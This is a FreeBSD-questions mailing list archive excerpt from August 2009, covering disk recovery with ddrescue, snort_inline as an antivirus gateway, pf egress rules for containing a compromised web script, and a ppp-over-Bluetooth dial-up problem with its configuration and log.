15:23:00 +0000 (UTC) Received: (qmail 2991 invoked from network); 25 Aug 2009 15:22:59 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail5.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 25 Aug 2009 15:22:59 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id D45BB5082F; Tue, 25 Aug 2009 11:22:56 -0400 (EDT) To: kellymartin@gmail.com References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <44y6p9q7rd.fsf@be-well.ilk.org> <4a939513.NMAP0NNWLEg7ayVF%perryh@pluto.rain.com> From: Lowell Gilbert Date: Tue, 25 Aug 2009 11:22:56 -0400 In-Reply-To: <4a939513.NMAP0NNWLEg7ayVF%perryh@pluto.rain.com> (perryh@pluto.rain.com's message of "Tue\, 25 Aug 2009 00\:38\:59 -0700") Message-ID: <44ocq3lxyn.fsf@be-well.ilk.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 15:23:00 -0000 perryh@pluto.rain.com writes: > Lowell Gilbert wrote: >> Kelly Martin writes: >> > I just experienced a hard drive failure on one of my >> > FreeBSD 7.2 production servers with no backup! > ... >> First, try copying the entire disk, *without* mounting it. > > Yep. > >> Use dd(1) to get a copy of the whole disk. I believe that >> "conv=noerror" may be necessary. > > Much better: use sysutils/ddrescue, which was written > specifically to deal with this sort of situation. Excellent suggestion. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 15:42:31 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 695F2106568D for ; Tue, 25 Aug 2009 15:42:31 +0000 (UTC) (envelope-from eagletree@hughes.net) Received: from smtprelay.b.hostedemail.com (smtprelay0014.b.hostedemail.com [64.98.42.14]) by mx1.freebsd.org (Postfix) with ESMTP id 07F168FC15 for ; Tue, 25 Aug 2009 15:42:30 +0000 (UTC) Received: from filter.hostedemail.com (b-bigip1 [10.5.19.254]) by smtprelay02.b.hostedemail.com (Postfix) with SMTP id D3EA2BAE5A6 for ; Tue, 25 Aug 2009 15:42:29 +0000 (UTC) X-Spam-Summary: 2, 0, 0, 5bedda6936c1bba8, 944facfeb153b4f0, eagletree@hughes.net, freebsd-questions@freebsd.org, RULES_HIT:152:355:379:541:543:564:599:601:945:966:967:973:980:988:989:1260:1261:1277:1311:1313:1314:1345:1359:1437:1513:1515:1516:1518:1521:1534:1542:1593:1594:1676:1711:1730:1747:1766:1792:2196:2199:2376:2378:2393:2525:2553:2559:2563:2682:2685:2827:2857:2859:2892:2913:2933:2937:2939:2942:2945:2947:2951:2954:3022:3027:3354:3743:3865:3866:3867:3868:3869:3870:3871:3872:3873:3874:3876:3877:3934:3936:3938:3941:3944:3947:3950:3953:3956:3959:4250:4385:4860:5007:6114:6248:7652:7679:7903:8501:9010:9025:9038:9388, 0, RBL:none, CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0, MSF:not bulk, SPF:, MSBL:none, DNSBL:none X-Session-Marker: 6561676C6574726565406875676865732E6E6574 X-Filterd-Recvd-Size: 3211 Received: from [192.168.0.3] (dpc6682103093.direcpc.com [66.82.103.93]) (Authenticated sender: eagletree@hughes.net) by omf12.b.hostedemail.com (Postfix) with ESMTP for ; Tue, 25 Aug 2009 15:42:25 +0000 (UTC) Message-Id: <2D97D25F-E7BF-47C3-AB1A-AAF424C68993@hughes.net> From: Chris To: FreeBSD-Questions Questions In-Reply-To: <93C9B58D98FD4F82B3174902B2BCA140@desktop2002> Content-Type: text/plain; charset=UTF-8; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (Apple Message framework v936) X-Priority: 3 Date: Tue, 25 Aug 2009 08:42:11 -0700 References: <93C9B58D98FD4F82B3174902B2BCA140@desktop2002> X-Mailer: Apple Mail (2.936) Subject: Re: antivirus gateway X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 15:42:31 -0000 On Aug 23, 2009, at 1:47 PM, Yavuz Ma=C5=9Flak wrote: > Hello > > I wish to use freebsd7.2 as an antivirus gateway. > > is there any document about that? > Could you give an advice ? > snort_inline with if_bridge provides a bit of this functionality. You drop all incoming off at a socket which you have snort listening on. It's then logged and reinserted if it passes the rules that snort.org provides. You can decide if you want to drop the traffic or not, by default it's just logged. I don't use it to catch viruses so I don't watch how effective it is. For me it's a filtering mechanism to match custom rules. There is a document that can be googled on the net concerning this. It shows most of the config but says you can't use it with if_bridge which you can. I don't have a 7.2 instance but it works well on 7.0. Even with horrendous amounts of traffic it seems to remain reliable. =46rom memory (may be inaccurate), if you want to filter bi-directionally, you have to run two instances on different sockets with two different IPFW rules, one for each interface. I only have experience using this with IPFW. > Thanks > Bu elektronik posta ve varsa ekleri tamamen gizli ve g=C3=B6nderilen =20= > ki=C5=9Filer listesine =C3=B6zeldir. E=C4=9Fer ad=C4=B1n=C4=B1z = g=C3=B6nderilen ki=C5=9Filer =20 > listesinde yer alm=C4=B1yorsa, l=C3=BCtfen derhal g=C3=B6nderen = ki=C5=9Fiyi =20 > bilgilendiriniz ve i=C3=A7eri=C4=9Fini herhangi ba=C5=9Fka bir ki=C5=9Fi= ye =20 > iletmeyiniz, herhangi bir ama=C3=A7 i=C3=A7in kullanmay=C4=B1n=C4=B1z, = say=C4=B1sal ve =20 > bas=C4=B1l=C4=B1 ortamlar dahil olmak =C3=BCzere saklamay=C4=B1n=C4=B1z = ve =20 > kopyalamay=C4=B1n=C4=B1z. > > > This e-mail and attachments, if any, may contain confidential and/or =20= > proprietary information. Please be advised that the unauthorized use =20= > or disclosure of the information is strictly prohibited. If you are =20= > not the intended recipient, please notify the sender immediately by =20= > reply e-mail and delete all copies of this message and attachments. =20= > Thank you. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to = "freebsd-questions-unsubscribe@freebsd.org=20 > " > From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 16:05:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2E08E106568F for ; Tue, 25 Aug 2009 16:05:06 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from mail.potentialtech.com (internet.potentialtech.com [66.167.251.6]) by mx1.freebsd.org (Postfix) with ESMTP id D59C48FC12 for ; Tue, 25 Aug 2009 16:05:05 +0000 (UTC) Received: from localhost (pr40.pitbpa0.pub.collaborativefusion.com [206.210.89.202]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.potentialtech.com (Postfix) with ESMTPSA id CE35EEBC0A; Tue, 25 Aug 2009 12:05:04 -0400 (EDT) Date: Tue, 25 Aug 2009 12:05:04 -0400 From: Bill Moran To: Paul Schmehl Message-Id: <20090825120504.93a7c51d.wmoran@potentialtech.com> In-Reply-To: References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> Organization: Bill Moran X-Mailer: Sylpheed 2.7.1 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 16:05:06 -0000 In response to Paul Schmehl : > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace wrote: > > > Bill Moran wrote: > >> > >> You can add an ipfw rule to prevent the script from calling home, which > >> will effectively render it neutered until you can track down and actually > >> _fix_ the problem. > > > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on port > > 7000". OK, so I how do I know what port the script is using for outgoing > > traffic on MY box? 7000 is the remote host port, right? > > > > FWIW, here are my core PF lines: > > > > pass out quick on $ext_if proto 41 > > pass out quick on gif0 inet6 > > pass in quick on gif0 inet6 proto icmp6 > > block in log > > > > That is to say: nothing is allowed in unless explicitly allowed > > Everything allowed out. > > (plus some ipv6 stuff I was testing with a tunnel) > > > > The problem with blocking outbound ports is that it breaks things in odd ways. > For example, your mail server listens on port 25 (and possibly 465 as well) but > it communicates with connecting clients on whatever ethereal port the client > decided to use. If the port the client selects happens to be in a range that > you are blocking, communication will be impossible and the client will report > that your mail server is non-responsive. You're doing it wrong. Block on the destination port _only_ and you don't care about the ephemeral ports. > It's much easier to block outgoing ports for services you *don't* want to > offer, but, if the service isn't running anyway, blocking the port is > non-productive. You're obviously misunderstanding me completely. Your not blocking incoming connections, your preventing outgoing ones, which means there _is_ no service running on your local machine. For example, a server that is _only_ web (with SSH for admin) could have a ruleset like: pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep state pass out quick on $ext_if proto tcp from me to any port {25} keep state pass out quick on $ext_if proto upd from me to any port {53,123} keep state block all (note that's only an example, there may be some fine points I'm missing) One thing that had not yet been mentioned when I posted my earlier comment, is that this system is a combination firewall/web server. That makes the rules more complicated, but the setup is still possible: pass in quick on $ext_if proto tcp from any to me port {80} keep state pass out quick on $ext_if proto upd from me to any port {53,123} keep state pass out quick on $ext_if from $internal_network to any all keep state block all Which allows limited outgoing traffic originating from the box itself, but allows unlimited outgoing traffic from systems on $internal_network. I've done this with great success. In fact, I had a fun time where a client in question was infected with viruses out the wazoo, but the viruses never spread off their local network because I only allowed SMTP traffic to their SMTP relay, which required SMTP auth (thus the viruses couldn't send mail) -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 16:21:19 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0870D106568C for ; Tue, 25 Aug 2009 16:21:19 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-yw0-f202.google.com (mail-yw0-f202.google.com [209.85.211.202]) by mx1.freebsd.org (Postfix) with ESMTP id AFF9A8FC24 for ; Tue, 25 Aug 2009 16:21:18 +0000 (UTC) Received: by ywh40 with SMTP id 40so4903037ywh.14 for ; Tue, 25 Aug 2009 09:21:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=OzfI+oyZJndowvzUMGmVgi36m1f4CGI8HFZnSU41C2s=; b=GgQUFqhcjlKFFeDedxaqsiNQXl4LkayqzbpwjUyoZk4Qb3m8YSNWYQwfv7JD4fpwQi 5JteKKH+ZTzNCJEYL1IwfmA8LMfRFQfH6UcbWBSVprOBPom8CM7xdRtqROn+NiIt6/Xx FbjFiybrMsyf7YXlnHgl+W/L0FDr1pfcAmQqU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=d0NBjKHRE0n9jtQCWKEdiQTb5vFyV/Pd8WS7MQ50PPW3HdtPPC214skAsMaNWLpQiH B9Ft1stf0l9w2QpQV+8v/gGaFoMvMQ0iOl/opslHvPe+lHg33eMpEqYH84lJBaPM1ZQt GFl6mWydIz3utgLMH1JzJWwFLbLTw0fJhXrpM= MIME-Version: 1.0 Received: by 10.150.88.19 with SMTP id l19mr10899234ybb.147.1251217277788; Tue, 25 Aug 2009 09:21:17 -0700 (PDT) In-Reply-To: <20090825120504.93a7c51d.wmoran@potentialtech.com> References: <4A924601.3000507@lim.nl> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> Date: Tue, 25 Aug 2009 11:21:16 -0500 Message-ID: <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> From: Adam Vande More To: Bill Moran Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 16:21:19 -0000 On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran wrote: > In response to Paul Schmehl : > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace > wrote: > > > > > Bill Moran wrote: > > >> > > >> You can add an ipfw rule to prevent the script from calling home, > which > > >> will effectively render it neutered until you can track down and > actually > > >> _fix_ the problem. > > > > > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on > port > > > 7000". OK, so I how do I know what port the script is using for > outgoing > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > FWIW, here are my core PF lines: > > > > > > pass out quick on $ext_if proto 41 > > > pass out quick on gif0 inet6 > > > pass in quick on gif0 inet6 proto icmp6 > > > block in log > > > > > > That is to say: nothing is allowed in unless explicitly allowed > > > Everything allowed out. > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > The problem with blocking outbound ports is that it breaks things in odd > ways. > > For example, your mail server listens on port 25 (and possibly 465 as > well) but > > it communicates with connecting clients on whatever ethereal port the > client > > decided to use. If the port the client selects happens to be in a range > that > > you are blocking, communication will be impossible and the client will > report > > that your mail server is non-responsive. > > You're doing it wrong. Block on the destination port _only_ and you don't > care about the ephemeral ports. What ports would you block then when you're trying to run a webserver? > > > > It's much easier to block outgoing ports for services you *don't* want to > > offer, but, if the service isn't running anyway, blocking the port is > > non-productive. > > You're obviously misunderstanding me completely. Your not blocking > incoming > connections, your preventing outgoing ones, which means there _is_ no > service running on your local machine. > > For example, a server that is _only_ web (with SSH for admin) could have > a ruleset like: > > pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep > state > pass out quick on $ext_if proto tcp from me to any port {25} keep state > pass out quick on $ext_if proto upd from me to any port {53,123} keep state > block all > > (note that's only an example, there may be some fine points I'm missing) > > One thing that had not yet been mentioned when I posted my earlier comment, > is that this system is a combination firewall/web server. That makes the > rules more complicated, but the setup is still possible: > > pass in quick on $ext_if proto tcp from any to me port {80} keep state > pass out quick on $ext_if proto upd from me to any port {53,123} keep state > pass out quick on $ext_if from $internal_network to any all keep state > block all > > Which allows limited outgoing traffic originating from the box itself, > but allows unlimited outgoing traffic from systems on $internal_network. > > I've done this with great success. In fact, I had a fun time where a > client in question was infected with viruses out the wazoo, but the > viruses never spread off their local network because I only allowed > SMTP traffic to their SMTP relay, which required SMTP auth (thus the > viruses couldn't send mail) > > -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 17:06:19 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 970E1106568F for ; Tue, 25 Aug 2009 17:06:19 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from mail.potentialtech.com (internet.potentialtech.com [66.167.251.6]) by mx1.freebsd.org (Postfix) with ESMTP id 5B6718FC0C for ; Tue, 25 Aug 2009 17:06:19 +0000 (UTC) Received: from localhost (pr40.pitbpa0.pub.collaborativefusion.com [206.210.89.202]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.potentialtech.com (Postfix) with ESMTPSA id 60347EBC0A; Tue, 25 Aug 2009 13:06:18 -0400 (EDT) Date: Tue, 25 Aug 2009 13:06:16 -0400 From: Bill Moran To: Adam Vande More Message-Id: <20090825130616.20ab0049.wmoran@potentialtech.com> In-Reply-To: <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> References: <4A924601.3000507@lim.nl> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> Organization: Bill Moran X-Mailer: Sylpheed 2.7.1 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 17:06:19 -0000 In response to Adam Vande More : > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran wrote: > > > In response to Paul Schmehl : > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace > > wrote: > > > > > > > Bill Moran wrote: > > > >> > > > >> You can add an ipfw rule to prevent the script from calling home, > > which > > > >> will effectively render it neutered until you can track down and > > actually > > > >> _fix_ the problem. > > > > > > > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on > > port > > > > 7000". OK, so I how do I know what port the script is using for > > outgoing > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > pass out quick on $ext_if proto 41 > > > > pass out quick on gif0 inet6 > > > > pass in quick on gif0 inet6 proto icmp6 > > > > block in log > > > > > > > > That is to say: nothing is allowed in unless explicitly allowed > > > > Everything allowed out. > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > The problem with blocking outbound ports is that it breaks things in odd > > ways. > > > For example, your mail server listens on port 25 (and possibly 465 as > > well) but > > > it communicates with connecting clients on whatever ethereal port the > > client > > > decided to use. If the port the client selects happens to be in a range > > that > > > you are blocking, communication will be impossible and the client will > > report > > > that your mail server is non-responsive. > > > > You're doing it wrong. Block on the destination port _only_ and you don't > > care about the ephemeral ports. > > What ports would you block then when you're trying to run a webserver? My point (which is presented in examples below) is that you block everything and only allow what is needed (usually only dns and ntp, possibly smtp if the web server needs to send mail) That single statement above was directed specifically at the comment about it being impossible to predict (and thus block) ephemeral source ports. He's right about that, and that's why filtering on the destination port is the more common practice. Of course, that caused me to create an email that seems to contradict itself, if you don't notice that it's two answers to two different comments. > > > It's much easier to block outgoing ports for services you *don't* want to > > > offer, but, if the service isn't running anyway, blocking the port is > > > non-productive. > > > > You're obviously misunderstanding me completely. Your not blocking > > incoming > > connections, your preventing outgoing ones, which means there _is_ no > > service running on your local machine. > > > > For example, a server that is _only_ web (with SSH for admin) could have > > a ruleset like: > > > > pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep > > state > > pass out quick on $ext_if proto tcp from me to any port {25} keep state > > pass out quick on $ext_if proto upd from me to any port {53,123} keep state > > block all > > > > (note that's only an example, there may be some fine points I'm missing) > > > > One thing that had not yet been mentioned when I posted my earlier comment, > > is that this system is a combination firewall/web server. That makes the > > rules more complicated, but the setup is still possible: > > > > pass in quick on $ext_if proto tcp from any to me port {80} keep state > > pass out quick on $ext_if proto upd from me to any port {53,123} keep state > > pass out quick on $ext_if from $internal_network to any all keep state > > block all > > > > Which allows limited outgoing traffic originating from the box itself, > > but allows unlimited outgoing traffic from systems on $internal_network. > > > > I've done this with great success. In fact, I had a fun time where a > > client in question was infected with viruses out the wazoo, but the > > viruses never spread off their local network because I only allowed > > SMTP traffic to their SMTP relay, which required SMTP auth (thus the > > viruses couldn't send mail) > > > > > > > -- > Adam Vande More > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 17:37:21 2009 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7F4EE106564A for ; Tue, 25 Aug 2009 17:37:21 +0000 (UTC) (envelope-from cuuulboy@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.24]) by mx1.freebsd.org (Postfix) with ESMTP id 195F38FC12 for ; Tue, 25 Aug 2009 17:37:20 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 3so1706610qwe.7 for ; Tue, 25 Aug 2009 10:37:20 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=LZqTPtxQp6/Id1lmk8/zGotDWDCLVycIYKXZ4tHLxCY=; b=M5/UhAp+ctW3aCC9wWfsI0BLHrIOUBXDbh/gH1BvLgZWb6qF7ub61XJXHoheKOMaTw fUpbmSAcdwlB2jzaJo5Vn5wwmzgLs4BExSD+XcCX61f1/xHUkGWTbvBTsFapwDmitZAA Tn+z0p51VYlsFNkNcOcEX/pU3TBcliR+HLIOY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=h41QRte546VYsKpelDYKrJvNhnbYVePzM7tHP8S5G1uVbJOWzrA6r6/uNnNVjr/XP+ QCD0I0xF+x7x5ZHBu7coUzdpIIV3vlFIRHxULbDdhFD40ead77pBDSe4CL/ygAwXc11o xq6hu5OC8297DwliKM8bo51lKet5cLY23KVKw= MIME-Version: 1.0 Received: by 10.229.37.130 with SMTP id x2mr1661920qcd.15.1251220016232; Tue, 25 Aug 2009 10:06:56 -0700 (PDT) Date: Wed, 26 Aug 2009 01:06:56 +0800 Message-ID: <120e4ae30908251006o4fe06326i35ec4c140c5231b5@mail.gmail.com> From: coool v To: freebsd-questions@FreeBSD.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Subject: ppp problem over bluetooth X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 17:37:21 -0000 hello i am on freesd 6 , i am trying to connect to internet using my nokia phone. so far i got paired it with my pc and able to dialup to my isp, problem is i get connected for sometime and gets disconnected. i cant browse, only one dsn server gets assigned in resolv.conf, infact there must be two. this is how i do it : # /etc/rc.bluetooth start ubt0 BD_ADDR: 00:11:67:0e:04:85 Features: 0xff 0xff 0x8d 0x78 0x8 0x18 00 00 <3-Slot> <5-Slot> Max. ACL packet size: 678 bytes Number of ACL packets: 8 Max. SCO packet size: 48 bytes Number of SCO packets: 10 # rfcomm_pppd -a BD_ADDR -c -C dun -l rfcomm-dialup my ppp.conf - default: set log Phase Chat LCP IPCP CCP tun command ident user-ppp VERSION (built COMPILATIONDATE) set device /dev/cuad1 set speed 115200 set dial "ABORT ERROR ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \ \"\" ATZ OK-ATZ-OK AT+CGDCONT=1,\\\"IP\\\",\\\"airtelgprs.com\\\" OK \\dATD\\T TIMEOUT 40 CONNECT" set timeout 120 enable force-scripts enable dns accept dns enable lqr accept lqr set dial set timeout 0 rfcomm-dialup: set phone "*99***1#" set authname set authkey accept pap accept chap set timeout 300 add default HISADDR #set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 #set dial "ABORT ERROR ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \\"\"AT+CGDCONT=1,\\\"IP\\\",\\\"airtelgprs.com \\\" OK #\\dATD\\T TIMEOUT 40 CONNECT" #set dial "ABORT ERROR ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \ \"\" ATZ OK-ATZ-OK AT+CGDCONT=1,\\\"IP\\\",\\\"airtelgprs.com\\\" OK \\dATD\\T TIMEOUT 40 CONNECT" # Ensure that "device" references the correct serial port # for your modem. (cuad0 = COM1, cuad1 = COM2) #PAPorCHAPpmdemand: #set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \ # \"\" AT OK-AT-OK ATE1Q0 OK \\dATDT\\T TIMEOUT 40 CONNECT" # edit the next three lines and replace the items in caps with # the values which have been assigned by your ISP. my ppp.log Aug 25 21:00:51 ppp[787]: Phase: Using interface: tun0 Aug 25 21:00:51 ppp[787]: Phase: deflink: Created in closed state Aug 25 21:00:51 ppp[787]: tun0: Command: default: ident user-ppp VERSION (built COMPILATIONDATE) Aug 25 21:00:51 ppp[787]: tun0: Command: default: set device /dev/cuad1 Aug 25 21:00:51 ppp[787]: tun0: Command: default: set speed 115200 Aug 25 21:00:51 ppp[787]: tun0: Command: default: set dial ABORT ERROR ABORT BUSY ABORT NO\sCARRIER TIMEOUT 5 "" AT+CGDCONT=1,\"IP\",\"airtelgprs.com\" OK \dATD\T TIMEOUT 40 CONNECT Aug 25 21:00:51 ppp[787]: tun0: Command: default: set timeout 120 Aug 25 21:00:51 ppp[787]: tun0: Command: default: enable force-scripts Aug 25 21:00:51 ppp[787]: tun0: Command: default: enable dns Aug 25 21:00:51 ppp[787]: tun0: Command: default: enable lqr Aug 25 21:00:51 ppp[787]: tun0: Command: default: accept lqr Aug 25 21:00:51 ppp[787]: tun0: Command: default: set dial Aug 25 21:00:51 ppp[787]: tun0: Command: default: set timeout 0 Aug 25 21:00:51 ppp[787]: tun0: Command: default: set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: set phone *99***1# Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: set authname Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: set authkey Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: accept pap Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: accept chap Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: set timeout 300 Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: add default HISADDR Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: resolv rewrite Aug 25 21:00:51 ppp[787]: tun0: IPCP: Primary nameserver set to xxx.xx.250.6 Aug 25 21:00:51 ppp[787]: tun0: Command: rfcomm-dialup: set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 Aug 25 21:00:51 ppp[787]: tun0: Phase: PPP Started (direct mode). Aug 25 21:00:51 ppp[787]: tun0: Phase: bundle: Establish Aug 25 21:00:51 ppp[787]: tun0: Phase: deflink: closed -> opening Aug 25 21:00:51 ppp[787]: tun0: Phase: deflink: Connected! Aug 25 21:00:51 ppp[787]: tun0: Phase: deflink: opening -> dial Aug 25 21:00:51 ppp[787]: tun0: Chat: deflink: Dial attempt 1 of 1 Aug 25 21:00:51 ppp[787]: tun0: Phase: deflink: dial -> carrier Aug 25 21:00:51 ppp[787]: tun0: Phase: deflink: carrier -> login Aug 25 21:00:51 ppp[787]: tun0: Phase: deflink: login -> lcp Aug 25 21:00:51 ppp[787]: tun0: LCP: FSM: Using "deflink" as a transport Aug 25 21:00:51 ppp[787]: tun0: LCP: deflink: State change Initial --> Closed Aug 25 21:00:51 ppp[787]: tun0: LCP: deflink: State change Closed --> Stopped Aug 25 21:00:52 ppp[787]: tun0: LCP: deflink: LayerStart Aug 25 21:00:52 ppp[787]: tun0: LCP: deflink: SendConfigReq(1) state = Stopped Aug 25 21:00:52 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:52 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:52 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:52 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:52 ppp[787]: tun0: 